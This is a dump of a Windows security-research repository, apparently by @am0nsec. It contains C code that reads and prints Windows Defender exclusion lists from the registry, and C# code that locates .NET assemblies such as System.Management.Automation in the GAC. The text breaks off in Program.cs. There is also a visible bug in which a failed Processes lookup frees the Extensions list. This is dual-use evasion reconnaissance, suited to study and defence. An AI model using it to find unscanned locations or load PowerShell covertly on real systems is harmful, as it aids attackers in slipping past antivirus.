0x00; cx < _ARRAYSIZE(Symbols); cx++) { wprintf(L"%s %04X %08X %08X %s\r\n", Symbols[cx].dwRVA != 0x00 ? L"\033[0;32mY\033[0;37m" : L"\033[0;31mN\033[0;37m", Symbols[cx].dwSeg, Symbols[cx].dwRVA, Symbols[cx].dwOff, Symbols[cx].Name ); Found += Symbols[cx].dwRVA != 0x00 ? 1 : 0; } wprintf(L"\r\n"); wprintf(L"Found: %i\r\n", Found); wprintf(L"Missing: %i\t\n", (_ARRAYSIZE(Symbols) - Found)); // Uninitialise COM runtime and general cleanup DiaUninitialise(); return EXIT_SUCCESS; } ================================================ FILE: Defender/ExclusionLists/CMakeLists.txt ================================================ # @file CMakeLists.txt # @author Paul L. (@am0nsec) # @version 1.0 # @brief List Windows Defender Exclusion Lists # @details # @link https://github.com/am0nsec/wspe # @copyright This project has been released under the GNU Public License v3 license. include_directories(inc) add_executable(defender-exclusion-list "main.c" "src/defender.c" ) ================================================ FILE: Defender/ExclusionLists/inc/defender.h ================================================ /** * @file defender.h * @author Paul L. (@am0nsec) * @version 1.0 * @brief Windows Defender Exclusion List header. * @details * @link https://github.com/am0nsec/wspe * @copyright This project has been released under the GNU Public License v3 license. */ #ifndef __DEFENDER_EXCLUSIONLISTS_H_GUARD__ #define __DEFENDER_EXCLUSIONLISTS_H_GUARD__ #include /** * @brief Windows Defender type of exclusion entry. */ typedef enum _DEFENDER_EXCLUSION_TYPE { DefenderExclusionExtensions = 0x00, DefenderExclusionIpAddress = 0x01, DefenderExclusionPaths = 0x02, DefenderExclusionProcesses = 0x03, DefenderExclusionTemporaryPaths = 0x04 } DEFENDER_EXCLUSION_TYPE; /** * @brief Double-linked list for Windows Defender exclusion entry. */ typedef struct _DEFENDER_EXCLUSION_ENTRY { LPVOID Blink; LPVOID Flink; DEFENDER_EXCLUSION_TYPE Type; DWORD Length; LPCSTR Exclusion; } DEFENDER_EXCLUSION_ENTRY, *PDEFENDER_EXCLUSION_ENTRY; /** * @brief List of Windows Defender exclusions. */ typedef struct _DEFENDER_EXCLUSION_LIST { PDEFENDER_EXCLUSION_ENTRY Extensions; PDEFENDER_EXCLUSION_ENTRY IpAddresses; PDEFENDER_EXCLUSION_ENTRY Paths; PDEFENDER_EXCLUSION_ENTRY Processes; PDEFENDER_EXCLUSION_ENTRY TemporaryPaths; } DEFENDER_EXCLUSION_LIST, * PDEFENDER_EXCLUSION_LIST; _Success_(return == S_OK) _Must_inspect_result_ HRESULT STDMETHODCALLTYPE DfdGetAllExclusions( _Out_ PDEFENDER_EXCLUSION_LIST pExclusionsList ); _Success_(return == S_OK) _Must_inspect_result_ HRESULT STDMETHODCALLTYPE DfdpGetExclusionEntries( _In_ PDEFENDER_EXCLUSION_ENTRY pExclusionEntry, _In_ LPCSTR szSubKeyName, _In_ CONST DEFENDER_EXCLUSION_TYPE Type, _In_ CONST PHKEY pParentKey, _In_ CONST PHANDLE phHeap, _Out_ PDWORD pdwNumberOfValues ); _Success_(return == S_OK) HRESULT STDMETHODCALLTYPE DfdpCleanup( _In_ PDEFENDER_EXCLUSION_LIST pExclusionsList ); #endif // !__DEFENDER_EXCLUSIONLISTS_H_GUARD__ ================================================ FILE: Defender/ExclusionLists/main.c ================================================ /** * @file main.c * @author Paul L. (@am0nsec) * @version 1.0 * @brief List Windows Defender exclusions. * @details * @link https://github.com/am0nsec/wspe * @copyright This project has been released under the GNU Public License v3 license. */ #include #include #include "defender.h" /** * @brief Application entry point. * @return Application exist status. */ INT main() { // Get the complete list of exclusions DEFENDER_EXCLUSION_LIST ExclusionList = { 0x00 }; HRESULT Result = DfdGetAllExclusions(&ExclusionList); if (Result != S_OK) return EXIT_FAILURE; // Display everything PDEFENDER_EXCLUSION_ENTRY ListEntry = ExclusionList.Extensions; printf("Type Value\n"); printf("--------------- -----\n"); for (DWORD cx = 0x00; cx < (sizeof(DEFENDER_EXCLUSION_LIST) / sizeof(PVOID)); cx++) { // Get the correct extension type PDEFENDER_EXCLUSION_ENTRY Entry = *(PUINT64)((PBYTE)&ExclusionList + (8 * cx)); while (Entry != NULL) { switch (Entry->Type) { case DefenderExclusionExtensions: printf("%+-20s%s\n", "Extension", Entry->Exclusion); break; case DefenderExclusionIpAddress: printf("%+-20s%s\n", "IpAddress", Entry->Exclusion); break; case DefenderExclusionPaths: printf("%+-20s%s\n", "Paths", Entry->Exclusion); break; case DefenderExclusionProcesses: printf("%+-20s%s\n", "Processes", Entry->Exclusion); break; case DefenderExclusionTemporaryPaths: printf("%+-20s%s\n", "TemporaryPaths", Entry->Exclusion); break; } Entry = Entry->Flink; } } // Cleanup and exit DfdpCleanup(&ExclusionList); return EXIT_SUCCESS; } ================================================ FILE: Defender/ExclusionLists/src/defender.c ================================================ /** * @file defender.c * @author Paul L. (@am0nsec) * @version 1.0 * @brief Windows Defender exclusion list source. * @details * @link https://github.com/am0nsec/wspe * @copyright This project has been released under the GNU Public License v3 license. */ #include #include "defender.h" _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE DfdGetAllExclusions( _Out_ PDEFENDER_EXCLUSION_LIST pExclusionsList ) { if (pExclusionsList == NULL) return E_INVALIDARG; // Open and handle to the following windows Registry key: // Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions HKEY hExclusionList = INVALID_HANDLE_VALUE; LSTATUS Status = RegOpenKeyA( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows Defender\\Exclusions", &hExclusionList ); if (Status != ERROR_SUCCESS || hExclusionList == INVALID_HANDLE_VALUE) return E_FAIL; // Get handle to the process heap for memory allocation HANDLE hHeap = GetProcessHeap(); // Build a local copy of the final structure. DEFENDER_EXCLUSION_LIST ExclusionList = { 0x00 }; // Prepare local variables HRESULT Result = S_OK; DWORD dwNumberOfValues = 0x00; // Get extensions ExclusionList.Extensions = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); Result = DfdpGetExclusionEntries( ExclusionList.Extensions, "Extensions", DefenderExclusionExtensions, &hExclusionList, &hHeap, &dwNumberOfValues ); if (Result != S_OK || dwNumberOfValues == 0x00) { HeapFree(hHeap, 0x00, ExclusionList.Extensions); ExclusionList.Extensions = NULL; } // Get IpAddresses ExclusionList.IpAddresses = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); Result = DfdpGetExclusionEntries( ExclusionList.IpAddresses, "IpAddresses", DefenderExclusionIpAddress, &hExclusionList, &hHeap, &dwNumberOfValues ); if (Result != S_OK || dwNumberOfValues == 0x00) { HeapFree(hHeap, 0x00, ExclusionList.IpAddresses); ExclusionList.IpAddresses = NULL; } // Get paths ExclusionList.Paths = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); Result = DfdpGetExclusionEntries( ExclusionList.Paths, "Paths", DefenderExclusionPaths, &hExclusionList, &hHeap, &dwNumberOfValues ); if (Result != S_OK || dwNumberOfValues == 0x00) { HeapFree(hHeap, 0x00, ExclusionList.Paths); ExclusionList.Paths = NULL; } // Get processes ExclusionList.Processes = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); Result = DfdpGetExclusionEntries( ExclusionList.Processes, "Processes", DefenderExclusionProcesses, &hExclusionList, &hHeap, &dwNumberOfValues ); if (Result != S_OK || dwNumberOfValues == 0x00) { HeapFree(hHeap, 0x00, ExclusionList.Extensions); ExclusionList.Extensions = NULL; } // Get temporary paths ExclusionList.TemporaryPaths = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); Result = DfdpGetExclusionEntries( ExclusionList.TemporaryPaths, "TemporaryPaths", DefenderExclusionTemporaryPaths, &hExclusionList, &hHeap, &dwNumberOfValues ); if (Result != S_OK || dwNumberOfValues == 0x00) { HeapFree(hHeap, 0x00, ExclusionList.TemporaryPaths); ExclusionList.TemporaryPaths = NULL; } // Cleanup and return data RegCloseKey(hExclusionList); *pExclusionsList = ExclusionList; return S_OK; } _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE DfdpGetExclusionEntries( _In_ PDEFENDER_EXCLUSION_ENTRY pExclusionEntry, _In_ LPCSTR szSubKeyName, _In_ CONST DEFENDER_EXCLUSION_TYPE Type, _In_ CONST PHKEY pParentKey, _In_ CONST PHANDLE phHeap, _Out_ PDWORD pdwNumberOfValues ) { if (pExclusionEntry == NULL || szSubKeyName == NULL || pParentKey == NULL || *pParentKey == INVALID_HANDLE_VALUE || phHeap == NULL) return E_INVALIDARG; // Open an handle to the subkey HKEY hSubKey = INVALID_HANDLE_VALUE; LSTATUS Status = RegOpenKeyA( *pParentKey, szSubKeyName, &hSubKey ); if (Status != ERROR_SUCCESS || hSubKey == INVALID_HANDLE_VALUE) return E_FAIL; // Get all the number of values stored in the Registry key DWORD dwMaxValueNameLength = 0x00; Status = RegQueryInfoKeyA( hSubKey, NULL, NULL, NULL, NULL, NULL, NULL, pdwNumberOfValues, &dwMaxValueNameLength, NULL, NULL, NULL ); if (Status != ERROR_SUCCESS) { RegCloseKey(hSubKey); return E_FAIL; } if (*pdwNumberOfValues == 0x00) return S_OK; dwMaxValueNameLength++; // Save previous entry PDEFENDER_EXCLUSION_ENTRY Blink = NULL; // Get all the values one by one for (DWORD cx = 0x00; cx < *pdwNumberOfValues; cx++) { // Allocate memory for a new entry PDEFENDER_EXCLUSION_ENTRY ExclusionEntry = NULL; if (cx == 0x00) { ExclusionEntry = pExclusionEntry; } else { ExclusionEntry = HeapAlloc(*phHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); } ExclusionEntry->Exclusion = HeapAlloc(*phHeap, HEAP_ZERO_MEMORY, dwMaxValueNameLength); // Get the value name DWORD dwBufferSize = dwMaxValueNameLength; Status = RegEnumValueA(hSubKey, cx, ExclusionEntry->Exclusion, &dwBufferSize, NULL, NULL, NULL, NULL); if (Status != ERROR_SUCCESS) { HeapFree(*phHeap, 0x00, ExclusionEntry->Exclusion); HeapFree(*phHeap, 0x00, ExclusionEntry); RegCloseKey(hSubKey); return E_FAIL; } // Allocate memory for the double-linked list ExclusionEntry->Type = Type; ExclusionEntry->Length = dwBufferSize; // Create chain if (Blink != NULL) { ExclusionEntry->Blink = Blink; ((PDEFENDER_EXCLUSION_ENTRY)ExclusionEntry->Blink)->Flink = ExclusionEntry; } Blink = ExclusionEntry; } RegCloseKey(hSubKey); return S_OK; //// Allocate memory for first entry //// Extract all the entries //HRESULT Result = DfdpGetExclusionEntries( // pExclusionEntry, // DefenderExclusionExtensions, // &hSubKey, // phHeap //); //if (Result != S_OK) { // HeapFree(*phHeap, 0x00, pExclusionsList->Extensions); // return E_FAIL; //} //return S_OK; } _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE DfdpCleanup( _In_ PDEFENDER_EXCLUSION_LIST pExclusionsList ) { if (pExclusionsList == NULL) return E_FAIL; // Get handle to process heap HANDLE hHeap = GetProcessHeap(); // Clean all the memory allocated for (DWORD cx = 0x00; cx < (sizeof(DEFENDER_EXCLUSION_LIST) / sizeof(PVOID)); cx++) { PDEFENDER_EXCLUSION_ENTRY Entry = *(PUINT64)((PBYTE)pExclusionsList + (8 * cx)); while (Entry != NULL) { HeapFree(hHeap, 0x00, Entry->Exclusion); if (Entry->Blink != NULL) HeapFree(hHeap, 0x00, Entry->Blink); if (Entry->Flink == NULL) { HeapFree(hHeap, 0x00, Entry); break; } Entry = Entry->Flink; } } ZeroMemory(pExclusionsList, sizeof(DEFENDER_EXCLUSION_LIST)); return S_OK; } ================================================ FILE: Fusion/FindAssembly/FindAssembly.csproj ================================================  Debug AnyCPU {3B49B239-4005-4F25-9E39-522C61B980BE} Exe FindAssembly FindAssembly v4.8 512 true true AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 false AnyCPU pdbonly true bin\Release\ TRACE prompt 4 ================================================ FILE: Fusion/FindAssembly/FindAssembly.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30128.36 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FindAssembly", "FindAssembly.csproj", "{3B49B239-4005-4F25-9E39-522C61B980BE}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {3B49B239-4005-4F25-9E39-522C61B980BE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {3B49B239-4005-4F25-9E39-522C61B980BE}.Debug|Any CPU.Build.0 = Debug|Any CPU {3B49B239-4005-4F25-9E39-522C61B980BE}.Release|Any CPU.ActiveCfg = Release|Any CPU {3B49B239-4005-4F25-9E39-522C61B980BE}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {6C916D44-E4CC-47F6-B49F-E7EB90122027} EndGlobalSection EndGlobal ================================================ FILE: Fusion/FindAssembly/Fusion/GACUtil.cs ================================================ using System; using System.Text; using FindAssembly.Win32; using System.Runtime.InteropServices; namespace FindAssembly.Fusion { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct FUSION_INSTALL_REFERENCE { public uint cbSize; public uint dwFlags; public Guid guidScheme; public string szIdentifier; public string szNonCannonicalData; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct ASSEMBLY_INFO { public uint cbAssemblyInfo; public uint dwAssemblyFlags; public ulong uliAssemblySizeInKB; public IntPtr pszCurrentAssemblyPathBuf; public uint cchBuf; } public struct ASSEMBLY_VERSION { public short wMajor; public short wMinor; public short wBuild; public short wRevision; } public struct ASSEMBLY_IDENTITY { public string szName; public string szGacPath; public string szVersion; } public enum ASM_CACHE_FLAGS : uint { ASM_CACHE_ZAP = 0x1, ASM_CACHE_GAC = 0x2, ASM_CACHE_DOWNLOAD = 0x4, ASM_CACHE_ROOT = 0x8, ASM_CACHE_ROOT_EX = 0x80 } public class GACUtil { public const uint IASSEMBLYCACHE_INSTALL_FLAG_REFRESH = 0x00000001; public const uint IASSEMBLYCACHE_INSTALL_FLAG_FORCE_REFRESH = 0x00000002; public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_UNINSTALLED = 0x00000001; public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_STILL_IN_USE = 0x00000002; public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_ALREADY_UNINSTALLED = 0x00000003; public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_DELETE_PENDING = 0x00000004; public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_HAS_INSTALL_REFERENCES = 0x00000005; public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_REFERENCE_NOT_FOUND = 0x00000006; public static uint QUERYASMINFO_FLAG_VALIDATE = 0x00000001; public static uint QUERYASMINFO_FLAG_GETSIZE = 0x00000002; public static uint ASSEMBLYINFO_FLAG_INSTALLED = 0x00000001; public static uint ASSEMBLYINFO_FLAG_PAYLOADRESIDENT = 0x00000002; private IAssemblyEnum pIAssemblyEnum { get; set; } private IAssemblyCache pIAssemblyCache { get; set; } /// /// Constructor. Initialise IAssemblyEnum and IAssemblyCache. /// public GACUtil() { uint hr = Functions.CreateAssemblyEnum(out IAssemblyEnum pIAssemblyEnum, IntPtr.Zero, null, ASM_CACHE_FLAGS.ASM_CACHE_GAC, IntPtr.Zero); if (!Macros.SUCCEEDED(hr) || pIAssemblyEnum == null) throw new Exception("[-] Unable to create IAssemblyEnum interface."); this.pIAssemblyEnum = pIAssemblyEnum; hr = Functions.CreateAssemblyCache(out IAssemblyCache pIAssemblyCache, 0); if (!Macros.SUCCEEDED(hr) || pIAssemblyCache == null) throw new Exception("[-] Unable to create fusion!IAssemblyEnum interface."); this.pIAssemblyCache = pIAssemblyCache; } /// /// Destructor. Release IAssemblyEnum and IAssemblyCache /// ~GACUtil() { if (this.pIAssemblyEnum != null) Marshal.ReleaseComObject(this.pIAssemblyEnum); if (this.pIAssemblyCache != null) Marshal.ReleaseComObject(this.pIAssemblyCache); } /// /// Parse all the Assemblies from the Global Assembly Cache (GAC). /// /// Assembly to find. /// Major version of the Assembly to find /// Pointer to an ASSEMBLY_IDENTITY structure. /// Whether the function successfully executed private uint ParseAllAssembliesInternal(string wszFilter, short wMajor, ref ASSEMBLY_IDENTITY pAssemblyIdentity) { // Parse all assemblies while (this.pIAssemblyEnum.GetNextAssembly(IntPtr.Zero, out IAssemblyName pIassemblyName, 0) == 0) { string wszAssemblyName = ""; this.GetAssemblyName(ref pIassemblyName, ref wszAssemblyName); string wszAssemblyGacPath = ""; this.GetAssemblyGACPath(ref wszAssemblyName, ref wszAssemblyGacPath); ASSEMBLY_VERSION AssemblyVersion = new ASSEMBLY_VERSION(); this.GetAssemblyVersion(ref pIassemblyName, ref AssemblyVersion); // Search for an Assembly if ((!string.IsNullOrEmpty(wszFilter) && wszFilter.Equals(wszAssemblyName)) && (wMajor != 0) && wMajor == AssemblyVersion.wMajor) { if (pAssemblyIdentity.Equals(null)) return Macros.E_FAIL; pAssemblyIdentity.szName = wszFilter; pAssemblyIdentity.szGacPath = wszAssemblyGacPath; pAssemblyIdentity.szVersion = AssemblyVersion.wMajor + "." + AssemblyVersion.wMinor + "." + AssemblyVersion.wBuild + "." + AssemblyVersion.wRevision; return Macros.S_OK; } } if (!string.IsNullOrEmpty(wszFilter)) return Macros.E_FAIL; return Macros.S_OK; } /// /// Parse all the Assemblies from the Global Assembly Cache (GAC). /// /// Whether the function successfully executed. public uint ParseAllAssemblies() { ASSEMBLY_IDENTITY dummy = new ASSEMBLY_IDENTITY(); this.pIAssemblyEnum.Reset(); return this.ParseAllAssembliesInternal(null, 0, ref dummy); } /// /// Find an Assembly from the Global Assembly Cache (GAC). /// /// Name of the Assembly to find. /// Major version of the Assembly to find. /// Pointer to an ASSEMBLY_IDENTITY structure. /// public uint FindAssembly(string wszAssemblyName, short wMajor, ref ASSEMBLY_IDENTITY pAssemblyIdentity) { if (wszAssemblyName == null || pAssemblyIdentity.Equals(null)) return Macros.E_FAIL; this.pIAssemblyEnum.Reset(); return this.ParseAllAssembliesInternal(wszAssemblyName, wMajor, ref pAssemblyIdentity); } /// /// Get the name of an Assembly. /// /// Pointer to an IAssemblyName interface. /// Pointer to the name of the Assembly. /// Whether the function successfully executed. public uint GetAssemblyName(ref IAssemblyName pIAssemblyName, ref string wszAssemblyName) { if (pIAssemblyName == null) return Macros.E_FAIL; uint uBufferSize = 0; pIAssemblyName.GetName(ref uBufferSize, null); if (uBufferSize == 0) return Macros.E_FAIL; StringBuilder bob = new StringBuilder((int)uBufferSize); uint hr = pIAssemblyName.GetName(ref uBufferSize, bob); if (!Macros.SUCCEEDED(hr)) return Macros.E_FAIL; wszAssemblyName = bob.ToString(); return Macros.S_OK; } /// /// Get the path of the Assembly in the Global Assembly Cache (GAC). /// /// Pointer to the name of the assembly to query information. /// Pointer to the path of the assembly in the GAC. /// Whether the function successfully executed. public uint GetAssemblyGACPath(ref string wszAssemblyName, ref string wszAssemblyGacPath) { if (this.pIAssemblyCache == null || wszAssemblyName == null) return Macros.E_FAIL; // Get buffer size ASSEMBLY_INFO AssemblyInfo = new ASSEMBLY_INFO(); pIAssemblyCache.QueryAssemblyInfo(QUERYASMINFO_FLAG_GETSIZE, wszAssemblyName, ref AssemblyInfo); if (AssemblyInfo.cchBuf == 0) return Macros.E_FAIL; // Get value AssemblyInfo.pszCurrentAssemblyPathBuf = Marshal.AllocHGlobal((int)AssemblyInfo.cchBuf * 2); uint hr = pIAssemblyCache.QueryAssemblyInfo(QUERYASMINFO_FLAG_VALIDATE, wszAssemblyName, ref AssemblyInfo); if (!Macros.SUCCEEDED(hr)) return Macros.E_FAIL; // Copy value wszAssemblyGacPath = Marshal.PtrToStringUni(AssemblyInfo.pszCurrentAssemblyPathBuf); Marshal.FreeHGlobal(AssemblyInfo.pszCurrentAssemblyPathBuf); return Macros.S_OK; } /// /// Get the version of an Assembly. /// /// Pointer to an IAssemblyName interface. /// Pointer to an ASSEMBLY_VERSION structure. /// Whether the function successfully executed. public uint GetAssemblyVersion(ref IAssemblyName pIAssemblyName, ref ASSEMBLY_VERSION pAssemblyVersion) { if (pIAssemblyName == null || pAssemblyVersion.Equals(null)) return Macros.E_FAIL; pIAssemblyName.GetVersion(out uint dwHigh, out uint dwLow); pAssemblyVersion.wMajor = (short)(dwHigh >> 0x10); pAssemblyVersion.wMinor = (short)(dwHigh & 0xff); pAssemblyVersion.wBuild = (short)(dwLow >> 0x10); pAssemblyVersion.wRevision = (short)(dwLow & 0xff); return Macros.S_OK; } } } ================================================ FILE: Fusion/FindAssembly/Fusion/IAssemblyCache.cs ================================================ using System; using System.Runtime.InteropServices; namespace FindAssembly.Fusion { /// /// Represents the global assembly cache for use by the fusion technology. /// [ComImport, Guid("E707DCDE-D1CD-11D2-BAB9-00C04F8ECEAE")] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IAssemblyCache { /// /// Uninstalls the specified assembly from the global assembly cache. /// /// Flags defined in Fusion.idl. /// The name of the assembly to uninstall. /// A FUSION_INSTALL_REFERENCE structure that contains the installation data for the assembly. /// One of the disposition values defined in Fusion.idl. Possible values include the following: /// /// IASSEMBLYCACHE_UNINSTALL_DISPOSITION_UNINSTALLED (1) /// IASSEMBLYCACHE_UNINSTALL_DISPOSITION_STILL_IN_USE (2) /// IASSEMBLYCACHE_UNINSTALL_DISPOSITION_ALREADY_UNINSTALLED (3) /// IASSEMBLYCACHE_UNINSTALL_DISPOSITION_DELETE_PENDING (4) /// IASSEMBLYCACHE_UNINSTALL_DISPOSITION_HAS_INSTALL_REFERENCES (5) /// IASSEMBLYCACHE_UNINSTALL_DISPOSITION_REFERENCE_NOT_FOUND (6) /// /// /// HRESULT [PreserveSig] uint UninstallAssembly( uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, [MarshalAs(UnmanagedType.LPArray)] FUSION_INSTALL_REFERENCE[] pRefData, out uint pulDisposition ); /// /// Gets the requested data about the specified assembly. /// /// Flags defined in Fusion.idl. The following values are supported: /// /// QUERYASMINFO_FLAG_VALIDATE (0x00000001) /// QUERYASMINFO_FLAG_GETSIZE (0x00000002) /// /// /// The name of the assembly for which data will be retrieved. /// An ASSEMBLY_INFO structure that contains data about the assembly. /// HRESULT [PreserveSig] uint QueryAssemblyInfo( uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, ref ASSEMBLY_INFO pAsmInfo ); /// /// Gets a reference to a new IAssemblyCacheItem object. /// /// Flags defined in Fusion.idl. The following values are supported: /// /// IASSEMBLYCACHE_INSTALL_FLAG_REFRESH (0x00000001) /// IASSEMBLYCACHE_INSTALL_FLAG_FORCE_REFRESH (0x00000002) /// /// /// Reserved for future extensibility. pvReserved must be a null reference. /// The returned IAssemblyCacheItem pointer. /// Uncanonicalized, comma-separated name=value pairs. /// HRESULT [PreserveSig] uint CreateAssemblyCacheItem( uint dwFlags, IntPtr pvReserved, out IAssemblyCacheItem ppAsmItem, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName ); /// /// Reserved for internal use by the fusion technology. /// /// The returned IUnknown pointer. /// HRESULT [PreserveSig] uint CreateAssemblyScavenger([MarshalAs(UnmanagedType.IUnknown)] out object ppAsmScavenger); /// /// Installs the specified assembly in the global assembly cache. /// /// Flags defined in Fusion.idl. The following values are supported: /// /// IASSEMBLYCACHE_INSTALL_FLAG_REFRESH (0x00000001) /// IASSEMBLYCACHE_INSTALL_FLAG_FORCE_REFRESH (0x00000002) /// /// /// The path to the manifest for the assembly to install. /// A FUSION_INSTALL_REFERENCE structure that contains data for the installation. /// HRESULT [PreserveSig] uint InstallAssembly( uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, [MarshalAs(UnmanagedType.LPArray)] FUSION_INSTALL_REFERENCE[] pRefData ); } } ================================================ FILE: Fusion/FindAssembly/Fusion/IAssemblyCacheItem.cs ================================================ using System; using System.Text; using System.Runtime.InteropServices; using System.Runtime.InteropServices.ComTypes; namespace FindAssembly.Fusion { [ComImport, Guid("9E3AAEB4-D1CD-11D2-BAB9-00C04F8ECEAE")] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IAssemblyCacheItem { /// /// Allows the assembly in the global assembly cache to perform cleanup operations before it is released. /// /// HRESULT [PreserveSig] uint AbortItem(); /// /// Commits the cached assembly reference to memory. /// /// Flags defined in Fusion.idl. /// A value that indicates the result of the operation. /// HRESULT [PreserveSig] uint Commit( uint dwFlags, ref ulong pulDisposition ); /// /// Creates a stream with the specified name and format. /// /// Flags defined in Fusion.idl. /// The name of the stream to be created. /// The format of the file to be streamed. /// Format-specific flags defined in Fusion.idl. /// A pointer to the address of the returned IStream instance. /// The maximum size of the stream referenced by ppIStream. /// HRESULT [PreserveSig] uint CreateStream( uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszAssemblyName, uint dwFormat, uint dwFormatFlags, out IStream ppIStream, ref long puliMaxSize ); } } ================================================ FILE: Fusion/FindAssembly/Fusion/IAssemblyEnum.cs ================================================ using System; using System.Runtime.InteropServices; namespace FindAssembly.Fusion { /// /// Represents an enumerator for an array of IAssemblyName objects. /// [ComImport, Guid("21B8916C-F28E-11D2-A473-00C04F8EF448")] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IAssemblyEnum { /// /// Gets a pointer to the next IAssemblyName contained in this IAssemblyEnum object. /// /// Reserved for future extensibility. pvReserved must be a null reference. /// The returned IAssemblyName pointer. /// Reserved for future extensibility. dwFlags must be 0 (zero). /// HRESULT [PreserveSig] uint GetNextAssembly( IntPtr pvReserved, out IAssemblyName ppName, uint dwFlags ); /// /// Resets this IAssemblyEnum object to its starting position. /// /// HRESULT [PreserveSig] uint Reset(); /// /// Creates a shallow copy of this IAssemblyEnum object. /// /// A pointer to the copy. /// HRESULT [PreserveSig] uint Clone( out IAssemblyEnum ppEnum ); } } ================================================ FILE: Fusion/FindAssembly/Fusion/IAssemblyName.cs ================================================ using System; using System.Text; using System.Runtime.InteropServices; namespace FindAssembly.Fusion { /// /// Provides methods for describing and working with an assembly's unique identity. /// [ComImport, Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IAssemblyName { /// /// Sets the value of the property referenced by the specified property identifier. /// /// The unique identifier of the property whose value will be set. /// The value to which to set the property referenced by PropertyId. /// The size, in bytes, of pvProperty. /// HRESULT [PreserveSig] uint SetProperty( uint PropertyId, IntPtr pvProperty, uint cbProperty ); /// /// Gets a pointer to the property referenced by the specified property identifier. /// /// The unique identifier for the requested property. /// The returned property data. /// The size, in bytes, of pvProperty. /// HRESULT [PreserveSig] uint GetProperty( uint PropertyId, IntPtr pvProperty, ref uint pcbProperty ); /// /// Allows this IAssemblyName object to release resources and perform other cleanup operations before its destructor is called. /// /// HRESULT [PreserveSig] uint Finalize(); /// /// Gets the human-readable name of the assembly referenced by this IAssemblyName object. /// /// The string buffer that contains the name of the referenced assembly. /// The size of szDisplayName in wide characters, including a null terminator character. /// A bitwise combination of ASM_DISPLAY_FLAGS values that influence the features of szDisplayName. /// HRESULT [PreserveSig] uint GetDisplayName( [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags ); /// /// Undocumented. /// /// HRESULT [PreserveSig] uint Reserved( ref Guid refIID, object pUnkReserved1, object pUnkReserved2, string szReserved, long llReserved, IntPtr pvReserved, uint cbReserved, out IntPtr ppReserved ); /// /// Gets the simple, unencrypted name of the assembly referenced by this IAssemblyName object. /// /// The size of pwzName in wide characters, including the null terminator character. /// A buffer to hold the name of the referenced assembly. /// HRESULT [PreserveSig] uint GetName( ref uint lpcwBuffer, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwzName ); /// /// Gets the version information for the assembly referenced by this IAssemblyName object. /// /// The high 32 bits of the version. /// The low 32 bits of the version. /// HRESULT [PreserveSig] uint GetVersion( out uint pdwVersionHi, out uint pdwVersionLow ); /// /// Determines whether a specified IAssemblyName object is equal to this IAssemblyName, based on the specified comparison flags. /// /// The IAssemblyName object to which to compare this IAssemblyName. /// A bitwise combination of ASM_CMP_FLAGS values that influence the comparison. /// HRESULT [PreserveSig] uint IsEqual( IAssemblyName pName, uint dwCmpFlags ); /// /// Creates a shallow copy of this IAssemblyName object. /// /// The returned copy of this IAssemblyName object. /// HRESULT [PreserveSig] uint Clone( out IAssemblyName pName ); } } ================================================ FILE: Fusion/FindAssembly/Program.cs ================================================ using System; using System.Reflection; using FindAssembly.Fusion; namespace FindAssembly { internal sealed class Program { static void Main(string[] args) { Console.WriteLine("\nFind and load .NET Framework Assembly from the GAC"); Console.WriteLine("Copyright (C) 2020 Paul Laine (@am0nsec)"); Console.WriteLine("https://ntamonsec.blogpost.com\n"); if (args.Length != 2) { Console.WriteLine("usage: FindAssembly.exe <1> <2>"); Console.WriteLine("\t 1- The name of the .NET Framework Assembly to find."); Console.WriteLine("\t 2- The major version of the .NET Framework Assembly.\n"); Console.WriteLine("example: \n"); Console.WriteLine("\t FindAssembly.exe System.Management.Automation 3\n"); return; } string szAssemblyName = args[0]; 